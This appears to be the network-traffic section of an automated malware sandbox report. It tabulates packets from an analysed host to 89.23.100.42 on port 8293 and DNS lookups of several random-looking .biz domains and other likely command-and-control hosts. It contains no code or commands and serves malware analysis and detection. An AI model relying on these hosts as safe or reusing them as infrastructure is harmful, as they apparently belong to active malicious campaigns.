Dec 27, 2024 14:44:06.641200066 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:06.641309977 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:06.761836052 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:06.883342981 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:07.002976894 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:07.378827095 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:07.498370886 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:07.591460943 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:07.710988998 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:07.763360023 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:07.883493900 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:07.930900097 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.030538082 CET	50180	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.050461054 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.068028927 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.150144100 CET	8293	50180	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.150240898 CET	50180	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.187536001 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.216449976 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.277106047 CET	50180	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.336061954 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.336124897 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.396707058 CET	8293	50180	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.455740929 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.455821037 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.508862019 CET	50108	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.575437069 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.575484991 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.695209026 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.695316076 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.814980030 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.815052986 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:08.934644938 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:08.934740067 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:09.054289103 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:09.054442883 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:09.173958063 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:09.174038887 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:09.293854952 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:09.293955088 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:09.414343119 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:09.414432049 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:09.533930063 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:09.534022093 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:09.629585028 CET	8293	50180	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:09.629688025 CET	50180	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:09.653669119 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.023829937 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.059915066 CET	50182	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.143289089 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.179529905 CET	8293	50182	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.179619074 CET	50182	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.205831051 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.232393980 CET	50182	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.325382948 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.331048965 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.352066040 CET	8293	50182	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.450589895 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.450697899 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.570310116 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.570354939 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.691822052 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.691930056 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.811605930 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.811682940 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:10.931642056 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:10.931706905 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:11.051326036 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:11.051882029 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:11.171438932 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:11.175174952 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:11.294888973 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:11.299110889 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:11.418755054 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:11.427117109 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:11.546698093 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:11.682235956 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:11.692900896 CET	8293	50182	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:11.693036079 CET	50182	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:11.801875114 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:12.032012939 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:12.151865005 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:12.151932955 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:12.271435976 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:12.350471973 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:12.599010944 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:12.599060059 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:12.718561888 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:13.191682100 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:13.311181068 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:13.311258078 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:13.430804968 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:13.481506109 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:13.601125002 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:13.601300955 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:13.720719099 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:13.720789909 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:13.840253115 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:13.840312004 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:13.959826946 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:13.959963083 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:14.079453945 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:14.079514980 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:14.199093103 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:14.199242115 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:14.318785906 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:14.318981886 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:14.438508987 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:14.463495016 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:14.583019018 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:14.583069086 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:14.702743053 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:14.705291033 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:14.824851990 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:14.891340017 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:15.010993958 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:15.011045933 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:15.130769968 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:15.133193970 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:15.252619028 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:15.252686977 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:15.372373104 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:15.372441053 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:15.491931915 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:15.492002010 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:15.611594915 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:15.611673117 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:15.731147051 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:16.103137016 CET	50143	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:17.182192087 CET	50201	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:17.301843882 CET	80	50201	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:17.301908016 CET	50201	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:17.332580090 CET	50201	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:17.452267885 CET	80	50201	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:18.612190962 CET	50204	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:18.731925964 CET	8293	50204	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:18.732641935 CET	50204	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:18.758938074 CET	50204	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:18.878496885 CET	8293	50204	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:19.061876059 CET	80	50201	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:19.061984062 CET	50201	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:19.112864017 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:19.112895966 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:19.113080978 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:19.115379095 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:19.115391016 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:19.646996975 CET	50180	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:20.263500929 CET	8293	50204	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:20.263617039 CET	50204	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:20.387042999 CET	50212	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:20.716907978 CET	8293	50212	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:20.719094992 CET	50212	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:20.719947100 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:20.720067978 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:20.787322044 CET	50212	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:20.811048031 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:20.811073065 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:20.811299086 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:20.811595917 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:20.815042973 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:20.859330893 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:20.906871080 CET	8293	50212	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:21.791250944 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:21.791302919 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:21.791311026 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:21.791335106 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:21.791385889 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:21.791420937 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:21.831331015 CET	50207	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:21.831338882 CET	443	50207	172.67.161.29	192.168.2.4
Dec 27, 2024 14:44:21.981302023 CET	8293	50212	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:21.981364012 CET	50212	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:22.510152102 CET	50182	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:23.045392990 CET	50201	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:44:23.313631058 CET	50218	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:23.433188915 CET	8293	50218	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:23.437221050 CET	50218	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:23.456545115 CET	50218	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:23.576128006 CET	8293	50218	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:24.684814930 CET	8293	50218	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:24.684875965 CET	50218	8293	192.168.2.4	89.23.100.42

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 14:42:09.122906923 CET	61200	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:09.261184931 CET	53	61200	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:09.265302896 CET	53382	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:09.407752991 CET	53	53382	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:09.437617064 CET	54475	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:09.575681925 CET	53	54475	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:09.578841925 CET	53193	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:09.718868971 CET	53	53193	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:09.733566999 CET	62926	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:09.872822046 CET	53	62926	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:09.877345085 CET	54389	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:10.015021086 CET	53	54389	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:10.018486023 CET	58534	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:10.158490896 CET	53	58534	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:10.162558079 CET	52216	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:10.299870968 CET	53	52216	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:10.303244114 CET	58644	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:10.441526890 CET	53	58644	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:12.959965944 CET	61704	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:13.100765944 CET	53	61704	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:35.807384014 CET	58987	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:36.118206024 CET	53	58987	1.1.1.1	192.168.2.4
Dec 27, 2024 14:42:44.355356932 CET	56997	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:42:44.677547932 CET	53	56997	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:01.851425886 CET	64183	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:01.851677895 CET	58652	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:01.992644072 CET	53	64183	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:02.085810900 CET	53	58652	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:02.542509079 CET	52612	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:02.542701006 CET	53555	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:02.546941042 CET	55784	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:02.547112942 CET	52524	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:02.679522991 CET	53	53555	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:02.679791927 CET	53	52612	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:02.684068918 CET	53	52524	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:02.684283018 CET	53	55784	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:02.847651005 CET	61601	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:02.850097895 CET	59755	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:02.986130953 CET	53	61601	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:02.988940001 CET	53	59755	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:06.236499071 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:06.629743099 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.296506882 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.404985905 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.405046940 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.405057907 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.405091047 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.468751907 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.469129086 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.517844915 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.611915112 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.783093929 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.783303022 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.783329010 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.783341885 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.831741095 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:07.878571033 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:07.878657103 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:08.192846060 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:08.368489027 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:08.389390945 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:08.395064116 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:08.704476118 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:08.705122948 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:08.709579945 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:08.710208893 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:08.723819971 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:11.079957962 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:11.080137014 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:11.395219088 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:11.397319078 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:11.397902012 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:11.413748026 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:11.973880053 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:12.330363989 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.014120102 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.067670107 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.067739964 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.067754030 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.067776918 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.153182030 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.154412031 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.161968946 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.344016075 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.477408886 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.477495909 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.477504969 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.477514029 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.480752945 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.481195927 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:13.484944105 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.804037094 CET	443	63023	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:13.889221907 CET	63023	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:23.700361013 CET	57901	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:43:24.374506950 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:24.374726057 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:24.689532042 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:24.692015886 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:24.702716112 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:24.832473040 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:53.617321968 CET	63151	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:53.931366920 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:53.984205961 CET	53	58798	1.1.1.1	192.168.2.4
Dec 27, 2024 14:43:54.816234112 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:56.419945955 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:56.419958115 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:59.737199068 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:59.737207890 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:44:06.376132965 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:44:06.376156092 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:44:19.699238062 CET	443	63151	162.159.61.3	192.168.2.4
Dec 27, 2024 14:44:19.699258089 CET	443	63151	162.159.61.3	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 14:43:02.085902929 CET	192.168.2.4	1.1.1.1	c24a	(Port unreachable)	Destination Unreachable
Dec 27, 2024 14:43:53.931430101 CET	192.168.2.4	162.159.61.3	9f85	(Port unreachable)	Destination Unreachable
Dec 27, 2024 14:43:54.816318035 CET	192.168.2.4	162.159.61.3	9f80	(Port unreachable)	Destination Unreachable
Dec 27, 2024 14:43:56.420006037 CET	192.168.2.4	162.159.61.3	9f80	(Port unreachable)	Destination Unreachable
Dec 27, 2024 14:43:59.737255096 CET	192.168.2.4	162.159.61.3	9f80	(Port unreachable)	Destination Unreachable
Dec 27, 2024 14:44:06.376195908 CET	192.168.2.4	162.159.61.3	9f80	(Port unreachable)	Destination Unreachable
Dec 27, 2024 14:44:19.699290037 CET	192.168.2.4	162.159.61.3	9f80	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 14:42:09.122906923 CET	192.168.2.4	1.1.1.1	0xd1	Standard query (0)	covery-mover.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.265302896 CET	192.168.2.4	1.1.1.1	0xd7d0	Standard query (0)	se-blurry.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.437617064 CET	192.168.2.4	1.1.1.1	0x4965	Standard query (0)	zinc-sneark.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.578841925 CET	192.168.2.4	1.1.1.1	0xf766	Standard query (0)	dwell-exclaim.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.733566999 CET	192.168.2.4	1.1.1.1	0x4f65	Standard query (0)	formy-spill.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:09.877345085 CET	192.168.2.4	1.1.1.1	0x1e88	Standard query (0)	dare-curbys.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:10.018486023 CET	192.168.2.4	1.1.1.1	0x5fcf	Standard query (0)	print-vexer.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:10.162558079 CET	192.168.2.4	1.1.1.1	0x719b	Standard query (0)	impend-differ.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:10.303244114 CET	192.168.2.4	1.1.1.1	0x1cd6	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:12.959965944 CET	192.168.2.4	1.1.1.1	0x409a	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:35.807384014 CET	192.168.2.4	1.1.1.1	0x1063	Standard query (0)	itsrevolutionmagnus.xyz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:42:44.355356932 CET	192.168.2.4	1.1.1.1	0xafda	Standard query (0)	gamertool.eu	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:01.851425886 CET	192.168.2.4	1.1.1.1	0xbfbd	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:01.851677895 CET	192.168.2.4	1.1.1.1	0x9e54	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 27, 2024 14:43:02.542509079 CET	192.168.2.4	1.1.1.1	0xec65	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:43:02.542701006 CET	192.168.2.4	1.1.1.1	0xe34f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 27, 2024 14:43:02.546941042 CET	192.168.2.4	1.1.1.1	0x8dde	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
